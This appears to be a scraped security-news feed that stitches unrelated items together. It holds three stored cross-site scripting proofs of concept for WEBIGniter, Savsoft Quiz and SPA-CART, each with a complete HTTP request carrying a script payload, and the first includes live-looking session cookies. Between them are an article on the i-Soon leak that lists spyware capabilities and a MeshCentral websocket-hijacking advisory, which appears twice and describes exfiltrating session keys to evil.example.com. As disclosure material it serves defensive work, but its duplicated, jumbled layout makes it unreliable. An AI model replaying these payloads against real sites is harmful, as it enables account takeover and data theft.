    # Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)# Exploit Author: Sagar Banwa# Date: 19/10/2023# Vendor: https://webigniter.net/# Software: https://webigniter.net/demo# Reference: https://portswigger.net/web-security/cross-site-scripting# Tested on: Windows 10/Kali Linux# CVE : CVE-2023-46391Stored Cross-site scripting(XSS):Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.Steps-To-Reproduce:1. Login to the Account 2. Go to the Categories.3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.phpRequest POST /cms/categories/add HTTP/2Host: demo.webigniter.netCookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 94Origin: https://demo.webigniter.netReferer: https://demo.webigniter.net/cms/categories/addUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersname=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php

WEBIGniter 28.7.23 Cross Site Scripting

Data from a Chinese cybersecurity vendor that works for the Chinese government exposed a range of hacking tools and services.

Data from a Chinese cybersecurity vendor that works for the Chinese government has exposed a range of hacking tools and services. Although the source is not entirely clear, it seems that a disgruntled staff member of the group leaked the information on purpose.

The vendor, i-Soon (aka Anxun) is believed to be a private contractor that operates as an Advanced Persistent Threat (APT)\-for-hire, servicing China’s Ministry of Public Security (MPS).

The leaked data is organized in a few groups, such as complaints about the company, chat records, financial information, products, employee information, and details about foreign infiltration. According to the leaked data, i-Soon infiltrated several government departments, including those from India, Thailand, Vietnam, South Korea, and NATO.

Some of the tools that i-Soon used are impressive enough. Some highlights:

*   Twitter (now X) stealer: Features include obtaining the user’s Twitter email and phone number, real-time monitoring, reading personal messages, and publishing tweets on the user’s behalf.
*   Custom Remote Access Trojans (RATs) for Windows x64/x86: Features include process/service/registry management, remote shell, keylogging, file access logging, obtaining system information, disconnecting remotely, and uninstallation.
*   The iOS version of the RAT also claims to authorize and support all iOS device versions without jailbreaking, with features ranging from hardware information, GPS data, contacts, media files, and real-time audio records as an extension. (Note: this part dates back to 2020)
*   The Android version can dump messages from all popular Chinese chatting apps QQ, WeChat, Telegram, and MoMo and is capable of elevating the system app for persistence against internal recovery.
*   Portable devices for attacking networks from the inside.
*   Special equipment for operatives working abroad to establish safe communication.
*   User lookup database which lists user data including phone number, name, and email, and can be correlated with social media accounts.
*   Targeted automatic penetration testing scenario framework.

While some of the information is dated, the leaked data provide an inside look in the operations that go on in a leading spyware vendor and APT-for-hire.

It will certainly rattle some cages at the infiltrated entities and as such it could possibly cause a shift in international diplomacy and expose the holes in the national security of several countries.

Not all of the material has been examined yet. There is a lot available and translating is not an easy task. But we will keep you posted if anything else of interest shows up.

Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

 A first analysis of the i-Soon data leak 

We have identified a cross-site websocket hijacking (CSWSH) vulnerability within the control.ashx endpoint of MeshCentral. This component is the primary mechanism used within MeshCentral to perform administrative actions on the server. To demonstrate the impact of the vulnerability we developed a proof-of-concept which leveraged the cross-site websocket hijacking vulnerability to read the server configuration file to leak the sessionKey variable, generating login tokens, and generating an authentication cookie.

The vulnerability is exploitable when an attacker is able to convince a victim end-user to click on a malicious link to a page hosting an attacker-controlled site. The attacker can then originate a cross-site websocket connection using client-side JavaScript code to connect to “control.ashx” as the victim user within MeshCentral. There are some caveats to exploiting this issue however as MeshCentral configures `SameSite=Lax` security setting on cookies which introduces some additional preconditions for exploitation which we cover in a subsequent section.

### MeshCentral Version Tested
We performed testing against MeshCentral version 1.1.20 which appears to be the latest supported version of the application. This appears to have been the latest version of MeshCentral available at the time we performed testing of the application in January and February 2024 (see Figure 1 and Figure 2).

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/4a24fce2-5047-47a1-ac91-ae84c44ef3f1)
Figure 1: We determined that MeshCentral version 1.1.20 was the latest version available at the time we performed testing of the application.

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/4e347e91-6296-4b1a-a1d0-bb3587a82ea3)
Figure 2: We configured our test environment on an Ubuntu server running version 1.1.20 of the MeshCentral application server.

### What about SameSite=Lax Cookie Settings?
One may make the counterpoint that the `SameSite=Lax` security setting (see Figure 4) effectively prevents cross-site websocket hijacking (CSWSH) issues as an attacker origin of attacker.com would not be within the same-site as the victim meshcentral server at say meshcentral.example.com. This means an attacker that is able to convince a user to click on a malicious link wouldn’t be able to successfully perform this attacker to the Lax setting with differing origins.

Unfortunately, this isn’t entirely correct as there is a core difference between same-site and same-origin policies within all modern browsers. In this case, while it’s valid to say that the attack wouldn’t work in the case of attacker.com targeting meshcentral.example.com when the SameSite setting is configured to Lax for session cookies, there are several other scenarios where an attacker could perform the attack successfully (see Figure 3).

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/b108232d-7f85-4815-9439-431db0eeed85)
Figure 3: A table from PortSwigger’s article on Bypassing SameSite Cookie Restrictions (source).

From our perspective, the most relevant scenario is when an attacker is able to compromise an adjacent subdomain either through a vector such as a system compromise, exploiting a subdomain takeover vulnerability, or through exploitation of a cross-site scripting vulnerability within an adjacent application running under the same domain. For example, if an attacker found a cross-site scripting issue on example.com or vulnerable.example.com they would then be able to leverage the cross-site scripting issues on those domains to target meshcentral.example.com. There are other factors which could also allow an attacker to bypass the SameSite=Lax setting to perform cross-site websocket hijacking. For a more comprehensive list please see Bypassing SameSite Cookie Restrictions from PortSwigger.

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/8310a307-273f-44e5-948a-f1a2b49cf960)
Figure 4: We observed that upon logging into MeshCentral the “xid” and “xid.sig” tokens were configured with the SameSite=Lax security settings.

### Developing an Initial Proof-of-Concept Exploit
At this point we had a testing deployment of MeshCentral configured at meshcentral.example.com and simulated an attacker-compromised adjacent subdomain at evil.example.com. In this scenario, we assume the attacker exploited a subdomain takeover vulnerability to host malicious content on evil.example.com. Next, we developed a simple proof-of-concept payload which originated a cross-site websocket connection from the evil.example.com origin to meshcentral.example.com (see Figure 5).

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/725820ef-5e93-48f5-aa47-9e21b299f255)
Figure 5: An initial proof-of-concept exploit we developed which simply sent a ping-message over the websocket connection from evil.example.com targeting meshcentral.example.com. We then triggered the exploit payload as a user that was logged into the MeshCentral application as an administrator by browsing to evil.example.com with a valid session on meshcentral.example.com. We
observed a cross-site websocket connection to meshcentral.example.com with an origin header set to evil.example.com as it originated from the attacker domain (see Figure 6). The response indicated the connection was successful and we received the expected pong response to our ping message sent to the server.

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/9bcec329-4206-4ce6-bbba-a02a47c306d8)
Figure 6: We observed that when originating a websocket connection across origins the origin header was sent by the browser to the MeshCentral server indicating the origin which originated the cross-site websocket connection.

### Demonstrating Impact
After confirming the vulnerability we then developed a more comprehensive exploit payload to demonstrate the impact of the vulnerability (see Figure 7). Our new payload sent the serverconfig, authcookie, and createLoginToken actions to the administrative component. The ability to issue a new login token then provided us with persistent access to the users account. The ability to read the serverconfig file allowed us to exfiltrate the session key used to sign sessions allowing the attacker to forge valid session tokens as arbitrary users on the system. Our payload then read the response from the server and exfiltrated the sensitive data exported from the system to an attacker-controlled system for storage purposes (see Figure 8).

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/d42f8372-24c9-4786-bfaa-ed1f91915749)
Figure 7: A proof-of-concept exploit we developed for the cross-site websocket hijacking vulnerability resulting in complete compromise of the user’s account and persistent access to the MeshCentral application as the victim user.

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/3e3977e1-a8c8-4856-9d27-f0307855049c)
Figure 8: We performed the attack using the exploit code shown in Figure AA to invoked the authcookie, serverconfig, and createLoginToken endpoints on the victim MeshCentral system leveraging the cross-site websocket hijacking vulnerability from evil.example.com.

After performing the attack successfully we used the issued login token to authenticate to MeshCental and access the console as the NT AUTHORITY\SYSTEM user for a windows agent which connected to the victim MeshCentral instance. This provided compromise of all the nodes within the impacted MeshCentral instance (see Figure 9 and Figure 10).

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/95405b59-8073-483e-9527-e1d03b546f5a)
Figure 9: An attacker could leverage the login token created by the attacker to authenticate to MeshCentral and then leverage this access to compromise nodes managed by the impacted MeshCentral instance.

![image](https://github.com/Ylianst/MeshCentral/assets/1319013/605b909e-54eb-4ad0-b397-84fa3fb9455d)
Figure 10: An attacker could leverage the cross-site websocket hijacking vulnerability to read the server configuration file of the MeshCentral system as an administrator to obtain the key used to encrypt sessions (sessionKey).

### Remediation
To remediate this vulnerability we recommend inspecting the origin header when websocket connections are established to control.ashx and other websocket endpoints. Verify that the origin header sent to the server matches an allowlisted origin. This would prevent an attacker from originating a cross-site websocket connection from an untrusted site.

We have identified a cross-site websocket hijacking (CSWSH) vulnerability within the control.ashx endpoint of MeshCentral. This component is the primary mechanism used within MeshCentral to perform administrative actions on the server. To demonstrate the impact of the vulnerability we developed a proof-of-concept which leveraged the cross-site websocket hijacking vulnerability to read the server configuration file to leak the sessionKey variable, generating login tokens, and generating an authentication cookie.

The vulnerability is exploitable when an attacker is able to convince a victim end-user to click on a malicious link to a page hosting an attacker-controlled site. The attacker can then originate a cross-site websocket connection using client-side JavaScript code to connect to “control.ashx” as the victim user within MeshCentral. There are some caveats to exploiting this issue however as MeshCentral configures SameSite=Lax security setting on cookies which introduces some additional preconditions for exploitation which we cover in a subsequent section.

**MeshCentral Version Tested**

We performed testing against MeshCentral version 1.1.20 which appears to be the latest supported version of the application. This appears to have been the latest version of MeshCentral available at the time we performed testing of the application in January and February 2024 (see Figure 1 and Figure 2).

  
Figure 1: We determined that MeshCentral version 1.1.20 was the latest version available at the time we performed testing of the application.

  
Figure 2: We configured our test environment on an Ubuntu server running version 1.1.20 of the MeshCentral application server.

**What about SameSite=Lax Cookie Settings?**

One may make the counterpoint that the SameSite=Lax security setting (see Figure 4) effectively prevents cross-site websocket hijacking (CSWSH) issues as an attacker origin of attacker.com would not be within the same-site as the victim meshcentral server at say meshcentral.example.com. This means an attacker that is able to convince a user to click on a malicious link wouldn’t be able to successfully perform this attacker to the Lax setting with differing origins.

Unfortunately, this isn’t entirely correct as there is a core difference between same-site and same-origin policies within all modern browsers. In this case, while it’s valid to say that the attack wouldn’t work in the case of attacker.com targeting meshcentral.example.com when the SameSite setting is configured to Lax for session cookies, there are several other scenarios where an attacker could perform the attack successfully (see Figure 3).

  
Figure 3: A table from PortSwigger’s article on Bypassing SameSite Cookie Restrictions (source).

From our perspective, the most relevant scenario is when an attacker is able to compromise an adjacent subdomain either through a vector such as a system compromise, exploiting a subdomain takeover vulnerability, or through exploitation of a cross-site scripting vulnerability within an adjacent application running under the same domain. For example, if an attacker found a cross-site scripting issue on example.com or vulnerable.example.com they would then be able to leverage the cross-site scripting issues on those domains to target meshcentral.example.com. There are other factors which could also allow an attacker to bypass the SameSite=Lax setting to perform cross-site websocket hijacking. For a more comprehensive list please see Bypassing SameSite Cookie Restrictions from PortSwigger.

  
Figure 4: We observed that upon logging into MeshCentral the “xid” and “xid.sig” tokens were configured with the SameSite=Lax security settings.

**Developing an Initial Proof-of-Concept Exploit**

At this point we had a testing deployment of MeshCentral configured at meshcentral.example.com and simulated an attacker-compromised adjacent subdomain at evil.example.com. In this scenario, we assume the attacker exploited a subdomain takeover vulnerability to host malicious content on evil.example.com. Next, we developed a simple proof-of-concept payload which originated a cross-site websocket connection from the evil.example.com origin to meshcentral.example.com (see Figure 5).

  
Figure 5: An initial proof-of-concept exploit we developed which simply sent a ping-message over the websocket connection from evil.example.com targeting meshcentral.example.com. We then triggered the exploit payload as a user that was logged into the MeshCentral application as an administrator by browsing to evil.example.com with a valid session on meshcentral.example.com. We  
observed a cross-site websocket connection to meshcentral.example.com with an origin header set to evil.example.com as it originated from the attacker domain (see Figure 6). The response indicated the connection was successful and we received the expected pong response to our ping message sent to the server.

  
Figure 6: We observed that when originating a websocket connection across origins the origin header was sent by the browser to the MeshCentral server indicating the origin which originated the cross-site websocket connection.

**Demonstrating Impact**

After confirming the vulnerability we then developed a more comprehensive exploit payload to demonstrate the impact of the vulnerability (see Figure 7). Our new payload sent the serverconfig, authcookie, and createLoginToken actions to the administrative component. The ability to issue a new login token then provided us with persistent access to the users account. The ability to read the serverconfig file allowed us to exfiltrate the session key used to sign sessions allowing the attacker to forge valid session tokens as arbitrary users on the system. Our payload then read the response from the server and exfiltrated the sensitive data exported from the system to an attacker-controlled system for storage purposes (see Figure 8).

  
Figure 7: A proof-of-concept exploit we developed for the cross-site websocket hijacking vulnerability resulting in complete compromise of the user’s account and persistent access to the MeshCentral application as the victim user.

  
Figure 8: We performed the attack using the exploit code shown in Figure AA to invoked the authcookie, serverconfig, and createLoginToken endpoints on the victim MeshCentral system leveraging the cross-site websocket hijacking vulnerability from evil.example.com.

After performing the attack successfully we used the issued login token to authenticate to MeshCental and access the console as the NT AUTHORITY\\SYSTEM user for a windows agent which connected to the victim MeshCentral instance. This provided compromise of all the nodes within the impacted MeshCentral instance (see Figure 9 and Figure 10).

  
Figure 9: An attacker could leverage the login token created by the attacker to authenticate to MeshCentral and then leverage this access to compromise nodes managed by the impacted MeshCentral instance.

  
Figure 10: An attacker could leverage the cross-site websocket hijacking vulnerability to read the server configuration file of the MeshCentral system as an administrator to obtain the key used to encrypt sessions (sessionKey).

**Remediation**

To remediate this vulnerability we recommend inspecting the origin header when websocket connections are established to control.ashx and other websocket endpoints. Verify that the origin header sent to the server matches an allowlisted origin. This would prevent an attacker from originating a cross-site websocket connection from an untrusted site.

**References**

*   GHSA-cp68-qrhr-g9h8
*   https://nvd.nist.gov/vuln/detail/CVE-2024-26135
*   Ylianst/MeshCentral@f2e43cc

GHSA-cp68-qrhr-g9h8: MeshCentral cross-site websocket hijacking (CSWSH) vulnerability

Savsoft Quiz version 6.0 Enterprise suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Savsoft Quiz v6.0 Enterprise - Persistent Cross-Site Scripting# Date: 2024-01-03# Exploit Author: Eren Sen# Vendor: SAVSOFT QUIZ# Vendor Homepage: https://savsoftquiz.com# Software Link: https://savsoftquiz.com/web/index.php/online-demo/# Version: < 6.0# CVE-ID: N/A# Tested on: Kali Linux / Windows 10# Vulnerabilities Discovered Date : 2024/01/03# Persistent Cross Site Scripting (XSS) Vulnerability# Vulnerable Parameter Type: POST# Vulnerable Parameter: quiz_name# Proof of Concepts:https://demos1.softaculous.com/Savsoft_Quizdemk1my5jr/index.php/quiz/edit_quiz/13# HTTP Request:POST /Savsoft_Quizdemk1my5jr/index.php/quiz/insert_quiz/ HTTP/1.1Host: demos1.softaculous.comCookie: ci_session=xxxxxxxxxxxxxxxxxxxxxxxxxContent-Length: 411Cache-Control: max-age=0Sec-Ch-Ua:Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: ""Upgrade-Insecure-Requests: 1Origin: https://demos1.softaculous.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://demos1.softaculous.com/Savsoft_Quizdemk1my5jr/index.php/quiz/add_newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closequiz_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=%3Cp%3Etest%3C%2Fp%3E&start_date=2024-01-04+01%3A00%3A27&end_date=2025-01-03+01%3A00%3A27&duration=10&maximum_attempts=10&pass_percentage=50&correct_score=1&incorrect_score=0&ip_address=&view_answer=1&with_login=1&show_chart_rank=1&camera_req=0&gids%5B%5D=1&quiz_template=Default&question_selection=0&quiz_price=0&gen_certificate=0&certificate_text=

Savsoft Quiz 6.0 Enterprise Cross Site Scripting

SPA-CART CMS version 1.9.0.3 suffers from a persistent cross site scripting vulnerability.

# Exploit Title: SPA-CART CMS - Stored XSS  
# Date: 2024-01-03  
# Exploit Author: Eren Sen  
# Vendor: SPA-Cart  
# Vendor Homepage: https://spa-cart.com/  
# Software Link: https://demo.spa-cart.com/  
# Version: [1.9.0.3]  
# CVE-ID: N/A  
# Tested on: Kali Linux / Windows 10  
# Vulnerabilities Discovered Date : 2024/01/03

# Vulnerability Type: Stored Cross Site Scripting (XSS) Vulnerability  
# Vulnerable Parameter Type: POST  
# Vulnerable Parameter: descr

# Proof of Concept: demo.spa-cart.com/product/258

# HTTP Request:

POST ////admin/products/258 HTTP/2  
Host: demo.spa-cart.com  
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxx; remember=xxxxxxxxxxxxxxxx  
Content-Length: 1906  
Sec-Ch-Ua:  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUsO8JxBs6LhB8LSl  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36  
Sec-Ch-Ua-Platform: ""  
Origin: https://demo.spa-cart.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://demo.spa-cart.com////admin/products/258  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="mode"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="sku"

SKU386

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="name"

asdf

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="cleanurl"

Wholesale-DIY-Jewelry-Faceted-70pcs-6-8mm-Red-AB-Rondelle-glass-Crystal-Beads  
------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="avail"

1000

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="price"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="list_price"

2

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="weight"

0.00

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categoryid"

42

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categories[]"

8

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="categories[]"

37

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="brandid"

4

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="status"

1

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="keywords"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl

Content-Disposition: form-data; name="descr"

<script>alert(1)</script>

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="title_tag"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="meta_keywords"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl  
Content-Disposition: form-data; name="meta_description"

------WebKitFormBoundaryUsO8JxBs6LhB8LSl--

Tag

#windows